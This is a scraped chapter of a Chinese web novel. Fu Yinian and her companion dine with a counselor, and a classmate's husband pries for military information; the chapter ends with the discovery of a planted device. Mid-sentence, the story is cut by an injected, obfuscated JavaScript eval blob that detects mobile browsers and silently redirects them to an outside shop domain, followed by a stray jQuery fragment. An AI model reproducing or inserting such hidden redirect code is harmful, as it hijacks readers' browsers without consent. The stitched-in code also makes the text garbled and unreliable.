第八十八章
于思华的丈夫名叫“顾麒章”,听起来很好听,放在后世,绝对是排在绿江男主姓名排行里靠前的。
只是顾麒章本人却并没有什么霸总之气,反而像极了那些油腻男。不知道抹了多少的头油,头发光滑的苍蝇落上去能劈叉,脸也十分的白,能看出来绝对是擦了颜粉——真正的“油头粉面”,字面意义上的。
大夏天的别人恨不得只穿一件背心,胡同大爷们甚至已经光膀子,这位却穿了件长袖白衬衫。自以为风流潇洒,实际上汗臭味已经飘出十里外去了。
符伊年和刘洋对视一眼,都是一样的心思:就这?于思华就和这么个人结婚了?她眼睛没有出问题吧?
“大家好,我是顾麒章,这是我的爱人于思华,我听说她在学校做事情,就主动过来帮忙,希望我能和大家相处愉快。”
顾麒章虽然长得油头粉面,但是声音是正常的,甚至还有些好听,有点像译制片里的男主的配音,可能于思华十个声控?
不过符伊年对他的印象依然不好,太自我了,一句话里四个“我”,甚至颠倒主次,明明是于思华把他喊来办公室帮忙的吧,还有不应该说“我是于思华的爱人”吗,这样颠倒主语宾语真的好吗?
有人来帮忙,辅导员还是很欢迎,不过对待他并不如对待祝镕那样热情,毕竟辅导员也是于思华的辅导员,对于她这位偷摸进女舍、趁夜爬水管的丈夫还是印象深刻的。至于说早就登记领了结婚证,这里头的猫腻,大家都懂的。
重新分配了任务,大家都认真做起事来。
“天热,大家早点做完早点休息。”辅导员笑着说,“我请大家吃饭。”
符伊年和管方对视一眼,一个拍手鼓掌叫好,一个起哄说不要去食堂。
辅导员:“行,那就校门外的‘美食佳’,这个可以吧?”
“美食佳”是六月份之后出现在农大校门外的一家饭馆,饭馆面积不大,六张四人方桌,一个十人圆桌包厢。既能做家常小炒、面点饺子,也能做鸡鸭鱼肉、各大菜系,主打一个丰俭由人。
其实符伊年是打算让祝镕在这里请管方和刘洋吃饭的,不过既然辅导员提出来了,当然不能抢了风头,立即带头鼓起掌来,“范老师大气!”
因为有这一顿饭做钩子在前面吊着,加上人手充足,事情很快做完。
于是在去饭馆的路上,就出现了这样的情形:范辅导员带着刘洋和管方走在前面,符伊年拉着祝镕慢吞吞地走在最后,中间是于思华和顾麒章。
这两个人夹在中间十分难受,想走快点吧,范辅导员和刘、管三人已经将道路占满了,他们若是凑过去就得走到两边的花坛里去。
若是走慢点吧,符伊年和祝镕两个人在后面旁若无人地窃窃私语,两个人更加挤不进去。
十分尴尬。
他们的这种尴尬前面的三个是看不见的,倒是走在最后的符伊年和祝镕,看得一清二楚。
“你和这位于同学,关系不好?”祝镕压低了声音在符伊年耳边问。
符伊年挑挑眉,“你怎么知道的?”并不否认。
祝镕:“我用眼睛看到的啊,你一看她,那表情就想吞了苍蝇。”
符伊年无语,您观察得还挺仔细,形容得也十分精确呢。
“回去和你说,那就是一朵大奇葩。”符伊年一言难尽的表情,逗得祝镕笑得合不拢嘴。
这两人在谈论前面的两个,殊不知,那两个也在谈论他们俩。
顾麒章低声问于思华,“你问出来了嘛?不是说战争早就结束了,他怎么这么晚回来,军队有什么部署?”
于思华对着顾麒章翻了个白眼,“我才第一次见他,能那么直白地问出来吗,他又不是傻子。”只有你这种傻逼才会问这么没头脑的问题。
于思华最近一直在后悔,后悔自己不该一时贪慕虚荣,为了漂亮的衣服、昂贵的化妆品而同这个男人在一起,这个人只是表面上光鲜亮丽,实际上糟透了,什么工农大学生,就是走关系抢了别人的名额才来的!
可是已经上了贼船了,逃不掉了,如今之计,只能听从他们的,从符伊年那里套取些有用的信息,或许可能早点逃出苦海。
“那你这么久都干什么了?!”男人感受到于思华的鄙视,有些不悦,也责备起她来,“一年多了,都是些模糊的信息,十条只有一条真,一点用的都没有。”
最后一句也不知道是说于思华这个人还是于思华搜集到的信息。不管说的是哪样,于思华的表情都非常难看,未免被旁人看见,她还要极力保持正常。若是此时有人看过来,会发现她的表情极度扭曲。
到了饭馆,范辅导员数了下人头,决定进包厢去吃。他想的很好,一共七个人三男四女,八个菜就够了,最多就再一人要一瓶饮料,自己一个月工资,绰绰有余。
想是想的挺好,实际情况却不是这样的。
范辅导员做主点了两个菜,又让其他人来点,刘洋和管方有些拘谨,不肯点,将菜单推给了符伊年,符伊年点了一个,绕过祝镕将菜单递给于思华和她丈夫。
于思华才接过菜单去,还没打开,就被顾麒章夺了过去,之后哗啦啦一口气点了四个菜,最后又要了一瓶酒。
符伊年看到随着对方点菜数量的增加,范辅导员的面色就黑一分,直到对方说“来一瓶衡水老白干”的时候,已经黑得能滴出水来了。
包间里所有人,除了合不拢嘴的服务员,其他人都低着头不言不语,心中却差不多都是同一个想法:忒没眼色了!
气氛一时有些僵,服务员却恍若不知,还在怂恿范老师再点一个菜,“七是单数不好听,八多好听啊,成双成对的,八八八发发发嘛,发财发财。”
大概是服务员的话说得好听,也可能是范老师自己觉得这样确实更好,于是便重新点了个凉菜,又说让拿六瓶汽水,“顾同志点了酒,就不喝汽水了吧?”
符伊年正在喝水,闻言一个不慎,被呛到了,“咳,咳咳咳。”
符伊年一边咳一边心想,这范老师够坏的,摆明了让顾麒章一个人喝酒,那一会儿结账的时候是不是也要他把酒的账结了啊,毕竟只有他一个人喝了啊,其他人可是边都没挨着。
等菜的间隙,顾麒章从裤子口袋里摸出了一盒熊猫烟来,特意将烟盒正面露出来给众人看,然后敲了两支烟递给范老师和祝镕。
不料,这二人一齐摆手,“不会。”
顾麒章虽然惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221392|131614||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
讶但是也没多说,将其中一支放回去,另外一支点燃,自顾自抽了起来。
符伊年皱了皱眉,到底没有说什么。
大家算是熟人了,因此没有什么“食不言”的规矩,都是一边吃一边说话,评价一番菜品,寒暄一番众人的情况。
这期间,符伊年就发现了,于思华的这位丈夫,每次总是有意无意地把话题往祝镕身上引,借着酒意问些和南疆、和部队有关的事。
别说祝镕和符伊年,就连最迟钝的刘洋都觉出不对了,目光在几个人之间徘徊。范辅导员的表情也不好看,毕竟这顿饭是他做东,老问祝镕算怎么个事儿?
于思华很快发现了众人的异样,在桌下扯了扯顾麒章,示意他不要太直接,然后自己讪笑着同众人解释:“他喝多了,你们不要见怪。”
“你才喝多了!老子明白着呢。”顾麒章瞪了一眼于思华,重新看向祝镕,“兄弟,我跟你说,女人,不能给好脸,今天给了好脸明天就能跐鼻子上脸跐脸上天。”
说着说着,竟然站了起来,绕过几个人直接来到祝镕身后,一只手擎着酒杯,一只胳膊搭在了祝镕的肩膀,“男人!要霸气!这样女人才翻不了天,才老实听话。”
在场的四个女性,除了于思华表情讪讪的十分尴尬,其他人都是嗤之以鼻。
“更何况,兄弟你条件这么好,想要什么女人没有,”顾麒章在祝镕肩膀上拍了拍,还贴心地替他整理了一下衣领,“要是厌了这个,哥哥替你找个好的,国内国外都行,什么宋小姐孔小姐的,都行!”
“哎哟。”顾麒章说得正起兴,突然觉得脚趾被踩住了,还转着圈地踩,正要低头去看,只觉得胸口又像是被什么杵了一下子,疼得他肋骨都快断了。
“哎呀,对不住。”祝镕突然站了起来,“你看我这,想喝水动作大了些,胳膊肘撞到您了吧?”祝镕一脸的抱歉,一只手扶在顾麒章的手臂上,另外一只手按在他的胸口,“是撞到这里吧?真是对不起我给您揉揉。”
祝镕手下一个用力,顾麒章“嗷——”的一声,将包间里的几个人都吓到了。
符伊年坐在座位上一直没动,表情也没变过,甚至还有心思同管方和刘洋商量过两天要去逛街。
于思华坐在一旁既心疼顾麒章又因为被孤立而尴尬,整个人坐立不安。
范老师一直在冷眼旁观,此时终于开口,“大家都吃好喝好了吧,那就到这儿吧,各自回家吧,我就不送你们了。”
最后范老师还是将那瓶酒一起买了单,不过他心头高兴,虽然自己花了钱,可是那人可是断了肋骨啊——他坐的那个位置看起清清楚楚,祝镕用掌根生生给按在顾麒章胸口的时候,他脸都白了。
刘洋和管方没有让符伊年送,牵着手去坐公交了。范老师还要回办公室,也走了。于思华谎称顾麒章喝多了要回家,随手招了个板车扶着他上去。
符伊年却清清楚楚地听见她说“去最近的医院。”
转回头看向祝镕,他正在自己的衣领上摸索——早上从四合院离开时为了配合符伊年的穿着,他特意换了件白衬衫。
摸索了片刻,祝镕从衣领下面摸出一颗“硬币”。
符伊年瞪大了眼睛,“这什么?!”